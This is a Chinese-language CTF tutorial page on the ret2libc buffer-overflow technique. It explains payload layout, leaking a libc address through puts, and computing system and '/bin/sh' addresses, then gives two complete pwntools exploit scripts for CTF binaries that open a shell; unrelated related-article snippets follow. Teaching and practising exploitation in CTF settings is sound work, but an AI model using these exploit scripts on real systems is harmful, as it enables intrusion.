ret2libc

article/2025/10/14 12:46:57

一、原理

  • payload = padding1 + address of system() + padding2 + address of “/bin/sh”

在这里插入图片描述

  • Padding1 随意填充, == 长度刚好覆盖基地址 == 长度与shellcode处的一样的方法

  • address of system() 是system在内存中的地址,用来覆盖返回地址

    • system()函数地址在哪里?

      从动态库中获取,计算绝对地址

  • padding2 数据长度应该为 4 (32位机) 由于不关心退出shell后的行为,可随意填⚠️当需要多次绕过时,这里应该填充system执行后需要返回的地址,否则程序栈会崩溃

  • address of ”/bin/sh“ 是字符串在内存中的地址,作为传给system的参数

    • 字符串哪里找?

      动态库搜索,计算绝对地址没有就将其加入环境变量,通过getenv()函数获取

  • 执行条件指向内存中的函数(操作系统关闭ASLR)

  • 获取libc中的system函数的地址,使用gdb,给main函数打上断点,然后使用

    p system
    

    该方法可以获取任意libc函数的地址

  • 设置system函数返回后的地址,以及为system函数构造我们预定的参数

  • 由于我们使用system的函数地址替换了原本的ip寄存器,强制执行了system函数.破坏了原程序栈桢分配和释放策略,所以后续的操作必须基于这个被破坏的栈桢结构来实现

  • 例如下面的payload中的padding2的操作应该是pop ip,也就是system函数调用完成后需要返回的地址

    • 为什么呢?
      • 因为在正常情况下,函数是通过call进行调用的,因此在进入system前,call指令已经通过push ip将返回地址push到函数调用栈中,所以在正常情况下ret指令pop到ip的数据就是call指令push到栈中的数据,也就是说两者是成对出现的
      • 但是!!!由于我们是直接通过覆盖ip的地址从而跳转到system函数,并没有经过call指令的调用,也就是并没有push ip的操作,但是system函数却照常执行了ret指令的pop ip的操作.
      • 因此,ret 指令pop到ip中的到底是哪一处的数据呢,答案就是padding2中的数据,也就是我们自己设定的system函数的返回地址
  • 知道了system部分的payload,那么如何获得system的地址以及bin/sh的地址呢?

    • 可以通过puts与gets函数,gets造成溢出,puts泄漏libc中的system以及/bin/sh的地址

      • bin在so文件中的地址

        • strings -t x libc.so | grep bin
          
      • 可执行的system(“/bin/sh”)在so文件中的地址

        • one_gadget  libc.so
          
    • 由于我们可以控制栈,根据rop的思想,我们需要找到的就是pop rdi;ret 前半段用于给第一个参数rdi赋值,后半段用于跳到其他代码片段

      • 如何找到可以赋值的参数呢?

        • 可以通过,ROPgadget,这里的值通常是固定的0x400833

          ROPgadget --binary file_name --only "pop|ret" | grep rdi	
          
    • 因此我们可以构造payload泄漏出puts函数的真实地址

  • 有了真实地址,我们还需要知道程序使用的libc,算出libc的基址

    • 这里可以使用LibcSearcher

      from LibcSearcher import *#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
      obj = LibcSearcher("fgets", 0X7ff39014bd90)
      
    • 知道了程序使用的libc,以及puts函数的真实地址,我们就可算出libc的基址,再通过基址加偏移就能得到函数的真实地址

      libc_base = 0X7ff39014bd90 - obj.dump("fgets")
      obj.dump("system")        #system 偏移
      obj.dump("str_bin_sh")    #/bin/sh 偏移
      #system的真实地址
      system_addr =libc_base +  obj.dump("system")
      
    • 这里有可能会遇到,匹配不到libc的错误,可以通过libc-database,添加libc

      ./get  # List categories
      ./get ubuntu debian  # Download Ubuntu's and Debian's libc, old default behavior
      ./get all  # Download all categories. Can take a while!#或者添加自身的libc
      ./add /usr/lib/libc-2.21.so
      

二、例题

1. buooj - ciscn_2019_c_1(64 位)
from pwn import *
#p = remote('node3.buuoj.cn',28190)
p = process('./ciscn_2019_c_1')
context.log_level = 'debug'puts_plt = 0x4006e0
puts_got = 0x602020
gets_got = 0x602050
pop_rdi = 0x0000000000400c83
main = 0x4009a0
#step 1 泄露puts函数的真实地址
payload = b'\x00'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('Input your choice!\n',str(1))
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
puts = u64(p.recv()[12:18].ljust(8,b'\x00'))
log.success("puts==>"+str(hex(puts)))from LibcSearcher import *
#step 2 搜索该程序使用的libc版本,并找到内存中的system以及bin/sh 
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x4006b9# step 3 构造system函数
payload = b'\x00'*0x58  + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
p.sendline(payload)
p.interactive()
2. ctfwiki - ret2libc3(32 位)
from pwn import *p = process('./ret2libc3')
context.log_level = 'debug'puts_plt = 0x8048460
puts_got = 0x804a018
main = 0x8048618
# 泄露 puts函数的内存中地址
payload = b'a'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendlineafter('Can you find it !?',payload)
puts = u32(p.recv()[:4])
log.success("puts==>" + str(hex(puts)))from LibcSearcher import *
# 查找该程序对应的libc版本号
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')# 构造system函数调用
payload = b'a'*104 + p32(system) + p32(main) + p32(bin_sh)
p.send(payload)p.interactive()

http://chatgpt.dhexx.cn/article/uK5nJn0R.shtml

相关文章

libc

1. libc (1). libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。 libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。 正如ANSI C是C语言的标准一样,lib…

为什么要避免使用 libc

【CSDN 编者按】libc 是 Linux 下的标准 C 库&#xff0c;也是初学者写 hello world 包时含有的头文件 #include < stdio.h> 定义的地方&#xff0c;后来其逐渐被 glibc 给取代&#xff0c;本文作者列出了为什么要避免使用 libc 的 20 个理由。 作者 |Chris Wellons 译者…

统计学⑤——假设验证

统计学系列目录&#xff08;文末有大奖赠送&#xff09;&#xff1a; 统计学①——概率论基础及业务实战 统计学②——概率分布&#xff08;几何&#xff0c;二项&#xff0c;泊松&#xff0c;正态分布&#xff09; 统计学③——总体与样本 统计学④——置信区间 一、什么是假…

统计基础(四)假设检验

Hypothesis Testing 1.中心极限定理Central Limit Theorem1.1 X ˉ \bar{X} Xˉ的抽样分布1.2 p ^ \hat{p} p^​的抽样分布1.3 二项的正态逼近 2.假设检验概念2.1 零假设与备则假设2.2 如何制定决策规则 3.假设性检验步骤3.1假设检验框架3.2术语定义3.3 proportion test步骤3…

连续性概率

提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 欧拉常数连续型随机变数与概率密度函数正态分布标准正态分步检验t检验t假设 在我们将离散型数据的数值放大到无限&#xff0c;也就是讨论所谓的极限时&#xff0c; …

概率统计:离散分布和连续分布

1. 几种分布分类 (1) 离散分布&#xff1a;  伯努利分布&#xff08;零一分布&#xff0c;两点分布&#xff09;&#xff0c;二项分布&#xff0c;几何分布&#xff0c;泊松分布&#xff08;Poisson分布&#xff09; (2) 连续分布&#xff1a;  指数分布&#xff0c;正态分…

【概率论】随机试验、随机变量、离散型/连续型随机变量

1. 随机试验 满足以下3个条件的试验可以称为随机试验&#xff1a; 相同条件下可重复试验结果明确可知且不只一个试验前不知道哪个结果会发生 例如&#xff1a;我们平时做的抛硬币、掷骰子试验都是随机试验。以抛硬币试验为例&#xff1a;①该试验可以重复进行多次&#xff1…

连续型随机变量

连续型随机变量&#xff1a;continuous random variables 即在一定区间内变量取值有无限个&#xff0c;或数值无法一一列举出来 如下面的例子 概率密度函数&#xff08;probability density function, pdf&#xff09;: 在数学理论中&#xff0c;一个连续型随机变量的概率密度…

概率论基础 —— 3.离散型、连续型概率模型,及其概率密度与概率分布函数

在前面的文章里&#xff0c;已经带大伙了解了概率论的概率事件类型&#xff0c;以及针对某些事件的发生概率&#xff0c;以及针对全部场景的某事件的发生概率等基本知识。不过对于统计学专业来说&#xff0c;或者实际应用来说&#xff0c;接触最多的还是离散型和连续型概率&…

概率论的离散型随机变量和连续型随机变量

借鉴大佬的 下面附上网址 https://blog.csdn.net/ckk727/article/details/103435150 随机变量 随机变量是指变量的值无法预先确定仅以一定的可能性(概率)取值的量。 它是由于随机而获得的非确定值&#xff0c;是概率中的一个基本概念。 在经济活动中&#xff0c;随机变量是某…

计量经济学 联合假设检验 F统计量

考虑这样一个问题&#xff0c;现在你拥有1个被解释变量y和4个解释变量&#xff0c;如何判断x3,x4这2个变量是没有必要的&#xff1f; 或者换个说法&#xff0c;你现在有x1&#xff0c;x2这2个解释变量&#xff0c;突然你在寻找数据时&#xff0c;发现了另外2个变量x3&#xff0…

概率的性质——连续性

概率的连续性如下定义&#xff1a; 我们可以用韦恩图把他们表示出来&#xff0c;便于理解&#xff1a; 图1 对应性质&#xff08;1&#xff09; 图2 对应性质&#xff08;2&#xff09; 从图1中我们可以看出&#xff0c;集合单调不增&#xff0c;打个比方&#xff0c;此集合…

连续and离散系统的描述

系统的描述 系统的分类系统的框图表示系统的特性和分析方法时域离散系统 把最好的分享给大家&#xff0c;大家一起努力&#xff01; 系统的分类 连续系统与离散系统&#xff1a;输入和输出均为连续时间信号的系统称为连续时间系统&#xff1b;输入和输出均为离散时间信号的系统…

统计学:离散型和连续型随机变量的概率分布

主要随机变量一览表 随机变量概率分布均值方差一般离散型变量 p(x)的表、公式或者图 ∑xxp(x) ∑x(x−μ)2p(x) 二项分布 p(x)Cxnpxqn−x (x0,1,2,3⋅⋅⋅,n) np npq 泊松分布 p(x)λxe−λx! (x0,1,2,⋅⋅⋅) λ λ 超几何分布 p(x)CxrCn−xN−rCnN nrN r(N−r)n(N−n)N2(N−…

随机变量-离散-连续-假设检验方法

一组随机样本数据需要进行分析处理时&#xff0c;往往需要用到假设检验&#xff0c;对于离散变量discrete多用卡方检验&#xff0c;连续变量continuous用t检验或wilcoxon秩序和检验&#xff0c;具体的的使用场景如下 离散变量-卡方检验-适用条件 四格表&#xff1a; 所有的理…

常用的几种API获取ip地理位置的使用方法

最近公司让做一个用户登录、付费的时候记录操作人的地理位置。 搜了很多帖子&#xff0c;一开始用的淘宝的api&#xff0c;但是用了一段时间发现&#xff0c;这个api当获取的次数多了之后&#xff0c;就报404了&#xff0c;导致很多记录没有记录地址&#xff0c;虽然淘宝这个ap…

IP属地信息哪里来的?手把手教你实现通过IP查询属地信息

本文主要讲解IP查询属地信息的实现方法&#xff0c;以及基于Spring Boot实现IP属地信息查询项目。 〇、前言 近日&#xff0c;多个网络公众平台纷纷公开显示用户的IP属地&#xff0c;并且用户无法开启或关闭此功能。 用户的IP信息&#xff0c;平台是怎么知道的&#xff1f; …

php 精准定位到街道,ip地址查询精确到街道_ip查询详细地址带地图

ip地址查询精确的位置方法,我们知道,QQ能够查询到i地址对于的用户的位置,但是有时候因为运营商等原因导致 2.查询非移动网络3G/4G的IP地址;这是因为移动3G/4G网络下所使用的公网IP属于多人共用可以定位到街道级别。 IP定位工具(精准到.下载地址:http://pan.baidu.com/s/1o7…

IP地理位置定位技术原理是什么

IP地理位置定位技术的原理是基于IP地址的网络通信原理和基础上的。它利用IP地址所包含的一些信息&#xff0c;如网络前缀和地址段&#xff0c;以及ISP的IP地址归属地数据库&#xff0c;来推测IP地址所对应的地理位置。 具体来说&#xff0c;IP地址是由32位二进制数字组成的&…

Golang — 根据IP获取地理位置信息

Golang — 根据IP获取地理位置信息 1 介绍1.1 ip2region1.2 geoip2-golang1.3 总结 2 使用2.1 ip2region2.2 geoip2-golang 1 介绍 1 ip2region 2 geoip2-golang 1.1 ip2region ip2region 是一个离线IP地址定位库和IP定位数据管理框架&#xff0c;10微秒级别的查询效率&…